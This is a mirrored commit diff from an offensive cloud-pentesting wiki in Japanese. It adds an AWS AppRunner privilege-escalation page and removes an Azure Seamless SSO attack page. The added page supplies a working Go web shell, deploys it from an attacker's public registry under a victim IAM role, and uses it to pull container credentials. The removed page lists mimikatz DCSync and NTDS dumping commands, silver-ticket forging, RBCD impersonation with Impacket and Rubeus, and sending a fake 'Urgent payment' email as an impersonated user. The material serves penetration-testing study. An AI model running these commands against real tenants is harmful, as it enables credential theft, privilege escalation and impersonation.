mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -267,6 +267,7 @@
|
||||
- [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md)
|
||||
- [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md)
|
||||
- [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md)
|
||||
- [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md)
|
||||
- [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md)
|
||||
- [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md)
|
||||
- [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md)
|
||||
@@ -454,7 +455,7 @@
|
||||
- [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md)
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md)
|
||||
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
# AWS - AppRunner Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AppRunner
|
||||
|
||||
### `iam:PassRole`, `apprunner:CreateService`
|
||||
|
||||
これらの権限を持つ攻撃者は、IAMロールが添付されたAppRunnerサービスを作成でき、ロールの資格情報にアクセスすることで特権を昇格させる可能性があります。
|
||||
|
||||
攻撃者はまず、AppRunnerコンテナ上で任意のコマンドを実行するためのウェブシェルとして機能するDockerfileを作成します。
|
||||
```Dockerfile
|
||||
FROM golang:1.24-bookworm
|
||||
WORKDIR /app
|
||||
RUN apt-get update && apt-get install -y ca-certificates curl
|
||||
RUN cat <<'EOF' > main.go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func main() {
|
||||
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
||||
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
|
||||
output, err := command.CombinedOutput()
|
||||
if err != nil {
|
||||
fmt.Fprint(w, err.Error(), output)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprint(w, string(output))
|
||||
})
|
||||
http.ListenAndServe("0.0.0.0:3000", nil)
|
||||
}
|
||||
EOF
|
||||
RUN go mod init test && go build -o main .
|
||||
EXPOSE 3000
|
||||
CMD ["./main"]
|
||||
```
|
||||
次に、このイメージをECRリポジトリにプッシュします。
|
||||
攻撃者が制御するAWSアカウントのパブリックリポジトリにイメージをプッシュすることで、被害者のアカウントがECRを操作する権限を持っていなくても、権限昇格が可能です。
|
||||
```sh
|
||||
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
|
||||
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
|
||||
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
|
||||
docker push $IMAGE_NAME
|
||||
docker logout public.ecr.aws
|
||||
```
|
||||
次に、攻撃者はこのウェブシェルイメージと、悪用したいIAMロールで構成されたAppRunnerサービスを作成します。
|
||||
```bash
|
||||
aws apprunner create-service \
|
||||
--service-name malicious-service \
|
||||
--source-configuration '{
|
||||
"ImageRepository": {
|
||||
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
|
||||
"ImageRepositoryType": "ECR_PUBLIC",
|
||||
"ImageConfiguration": { "Port": "3000" }
|
||||
}
|
||||
}' \
|
||||
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
|
||||
--query Service.ServiceUrl
|
||||
```
|
||||
サービスの作成が完了するのを待った後、ウェブシェルを使用してコンテナの資格情報を取得し、AppRunnerに添付されたIAMロールの権限を取得します。
|
||||
```sh
|
||||
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
|
||||
```
|
||||
**潜在的な影響:** AppRunnerサービスにアタッチできる任意のIAMロールへの直接的な権限昇格。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,186 +0,0 @@
|
||||
# Az - シームレスSSO
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory シームレスシングルサインオン (Azure AD Seamless SSO) は、**企業ネットワークに接続された企業デバイス上にいるときに自動的にユーザーをサインインさせます**。有効にすると、**ユーザーはAzure ADにサインインするためにパスワードを入力する必要がなく、通常はユーザー名すら入力する必要がありません**。この機能により、ユーザーは追加のオンプレミスコンポーネントなしで、クラウドベースのアプリケーションに簡単にアクセスできます。
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
基本的に、Azure AD Seamless SSOは、**オンプレミスのドメインに参加しているPC上にいるときにユーザーをサインインさせます**。
|
||||
|
||||
これは、[**PHS (パスワードハッシュ同期)**](phs-password-hash-sync.md) と [**PTA (パススルー認証)**](pta-pass-through-authentication.md) の両方でサポートされています。
|
||||
|
||||
デスクトップSSOは、認証に**Kerberos**を使用しています。構成されると、Azure AD ConnectはオンプレミスADに**`AZUREADSSOACC$`というコンピュータアカウントを作成します**。`AZUREADSSOACC$`アカウントのパスワードは、構成中に**平文でEntra IDに送信されます**。
|
||||
|
||||
**Kerberosチケット**は、パスワードの**NTHash (MD4)**を使用して**暗号化**され、Entra IDは送信されたパスワードを使用してチケットを復号化します。
|
||||
|
||||
**Entra ID**は、Kerberos **チケット**を受け入れる**エンドポイント** (https://autologon.microsoftazuread-sso.com) を公開しています。ドメイン参加したマシンのブラウザは、SSOのためにこのエンドポイントにチケットを転送します。
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## ピボット: オンプレ -> クラウド
|
||||
|
||||
> [!WARNING]
|
||||
> この攻撃について知っておくべき主なことは、Entra IDと同期されたユーザーのTGTまたは特定のTGSを持っているだけで、クラウドリソースにアクセスできるということです。\
|
||||
> これは、ユーザーがクラウドにログインすることを許可するチケットだからです。
|
||||
|
||||
そのTGSチケットを取得するために、攻撃者は次のいずれかを持っている必要があります:
|
||||
- **侵害されたユーザーのTGS:** メモリ内の`HTTP/autologon.microsoftazuread-sso.com`へのチケットを持つユーザーのセッションを侵害すると、クラウドリソースにアクセスするためにそれを使用できます。
|
||||
- **侵害されたユーザーのTGT:** たとえ持っていなくても、ユーザーが侵害されている場合、[Kekeo](https://x.com/gentilkiwi/status/998219775485661184)や[Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9)などの多くのツールに実装されている偽のTGT委任トリックを使用して取得できます。
|
||||
- **侵害されたユーザーのハッシュまたはパスワード:** SeamlessPassは、この情報を使用してドメインコントローラーと通信し、TGTを生成し、その後TGSを生成します。
|
||||
- **ゴールデンチケット:** KRBTGTキーを持っている場合、攻撃されたユーザーに必要なTGTを作成できます。
|
||||
- **AZUREADSSOACC$アカウントのハッシュまたはパスワード:** この情報とユーザーのセキュリティ識別子(SID)を使用して攻撃することで、サービスチケットを作成し、クラウドに認証することが可能です(前の方法で実行されたように)。
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
[このブログ投稿で説明されているように](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)、前述の要件のいずれかを持っていれば、侵害されたユーザーとして、または**`AZUREADSSOACC$`**アカウントのハッシュまたはパスワードを持っていれば、ツール**SeamlessPass**を使用してクラウドリソースにアクセスするのは非常に簡単です。
|
||||
|
||||
最後に、TGTを使用して、ツール[**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)を使用することが可能です:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
さらなる情報は、FirefoxをシームレスSSOで動作させるために[**このブログ投稿**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/)で見つけることができます。
|
||||
|
||||
### AZUREADSSOACC$アカウントのハッシュを取得する
|
||||
|
||||
ユーザー**`AZUREADSSOACC$`の** **パスワード**は**決して変更されません**。したがって、ドメイン管理者はこの**アカウントのハッシュ**を危険にさらし、それを使用して**シルバーチケット**を作成し、**同期された任意のオンプレミスユーザー**でAzureに接続することができます。
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
|
||||
# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
|
||||
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local
|
||||
|
||||
# Dump using ntdsutil and DSInternals
|
||||
## Dump NTDS.dit
|
||||
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
|
||||
## Extract password
|
||||
Install-Module DSInternals
|
||||
Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
> [!NOTE]
|
||||
> 現在の情報を使用すると、ドメイン内の任意のユーザーのために、前述のようにツール**SeamlessPass**を使用してazureおよびentraidトークンを取得できます。
|
||||
> また、`AZUREADSSOACC$`アカウントの代わりに、なりすましたい被害者のパスワードのハッシュを取得するために、前述の技術(およびその他)を使用することもできます。
|
||||
|
||||
#### Silverチケットの作成
|
||||
|
||||
ハッシュを使用して、**silverチケットを生成**できます:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Firefoxを使用したシルバーチケットの利用
|
||||
|
||||
シルバーチケットを利用するには、以下の手順を実行する必要があります:
|
||||
|
||||
1. **ブラウザを起動する:** Mozilla Firefoxを起動します。
|
||||
2. **ブラウザを設定する:**
|
||||
- **`about:config`**に移動します。
|
||||
- [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication)の設定を指定された[value](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically)にします:
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Firefoxの`設定`に移動し、`Microsoft、職場および学校アカウントのためのWindowsシングルサインオンを許可する`を検索して有効にします。
|
||||
3. **Webアプリケーションにアクセスする:**
|
||||
- 組織のAADドメインに統合されたWebアプリケーションにアクセスします。一般的な例は[login.microsoftonline.com](https://login.microsoftonline.com/)です。
|
||||
4. **認証プロセス:**
|
||||
- ログイン画面で、ユーザー名を入力し、パスワードフィールドは空白のままにします。
|
||||
- 続行するには、TABまたはENTERを押します。
|
||||
|
||||
> [!WARNING]
|
||||
> これは**MFAが有効な場合はバイパスしません**。
|
||||
|
||||
### オンプレミス -> クラウドへのリソースベースの制約付き委任 <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
攻撃を実行するには、以下が必要です:
|
||||
|
||||
- `WriteDACL` / `GenericWrite` over `AZUREADSSOACC$`
|
||||
- あなたが制御するコンピュータアカウント(ハッシュとパスワード) - 作成することができます
|
||||
|
||||
1. ステップ1 – 自分のコンピュータアカウントを追加する
|
||||
- `ATTACKBOX$`を作成し、そのSID/NTLMハッシュを表示します。任意のドメインユーザーがこれを行うことができ、MachineAccountQuota > 0の間は可能です。
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
2. ステップ 2 – `AZUREADSSOACC$` に RBCD を付与 - あなたのマシンの SID を `msDS-AllowedToActOnBehalfOfOtherIdentity` に書き込みます。
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. ステップ 3 – 任意のユーザー (例: alice) の TGS を偽造する
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
あなたは今、**TGSを使用して、なりすましユーザーとしてAzureリソースにアクセスできます。**
|
||||
|
||||
### ~~クラウド専用ユーザーのためのKerberosチケットの作成~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Active Directory管理者がAzure AD Connectにアクセスできる場合、**任意のクラウドユーザーのSIDを設定することができます**。この方法で、Kerberos **チケット**は**クラウド専用ユーザーのためにも作成できます**。唯一の要件は、SIDが適切な[SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>)であることです。
|
||||
|
||||
> [!CAUTION]
|
||||
> クラウド専用管理ユーザーのSIDの変更は現在**Microsoftによってブロックされています**。\
|
||||
> 詳細は[https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)を確認してください。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user